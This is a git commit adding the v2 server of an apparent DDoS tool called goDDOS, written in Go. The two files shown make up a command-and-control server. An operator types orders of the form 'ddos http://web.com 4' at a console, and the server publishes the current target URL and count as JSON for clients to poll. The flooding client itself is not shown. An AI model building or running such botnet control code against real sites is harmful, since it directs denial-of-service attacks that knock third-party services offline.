implemented v2

This commit is contained in:
arnaucode
2018-05-24 01:12:53 +02:00
parent 650c21a882
commit 5a0b9b062a
6 changed files with 177 additions and 0 deletions

39
v2/server/cli.go Normal file
View File

@@ -0,0 +1,39 @@
package main
import (
"bufio"
"fmt"
"os"
"strconv"
"strings"
)
//validURL checks if an url is a valid url
func validURL(url string) bool {
return true
}
func consoleInput() { //example: ddos http://web.com 4
newcommand := bufio.NewReader(os.Stdin)
for {
fmt.Print("enter new order ([target] [count]): ")
text, _ := newcommand.ReadString('\n')
text = strings.TrimSpace(text)
if text != "" {
fmt.Println("console input command: " + text)
t := strings.Split(text, " ")
count, err := strconv.Atoi(t[1])
if err != nil {
fmt.Println("[error]: count parameter must be an integer")
continue
}
if t[0] == "null" || t[0] == "none" {
t[0] = ""
}
if validURL(t[0]); count >= 0 {
currentOrder.Target = t[0]
currentOrder.Count = count
fmt.Println(currentOrder)
}
}
}
}

53
v2/server/main.go Normal file
View File

@@ -0,0 +1,53 @@
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"github.com/fatih/color"
)
const PORT = "3000"
type Order struct {
Target string `json:"target"`
Count int `json:"count"`
}
var currentOrder Order
func getOrder(w http.ResponseWriter, r *http.Request) {
jsonr, err := json.Marshal(currentOrder)
if err != nil {
log.Panic(err)
}
fmt.Fprintln(w, string(jsonr))
}
func handleRequests() {
http.HandleFunc("/", getOrder)
log.Fatal(http.ListenAndServe(":"+PORT, nil))
}
func main() {
asciiTitle := `
_____ _____ ____ _____
| __ \| __ \ / __ \ / ____|
__ _ ___ | | | | | | | | | | (___
/ _' |/ _ \| | | | | | | | | |\___ \
| (_| | (_) | |__| | |__| | |__| |____) |
\__, |\___/|_____/|_____/ \____/|_____/
__/ |
|___/ v.2
`
color.Blue(asciiTitle)
fmt.Println("server running at port " + PORT)
go consoleInput()
handleRequests()
}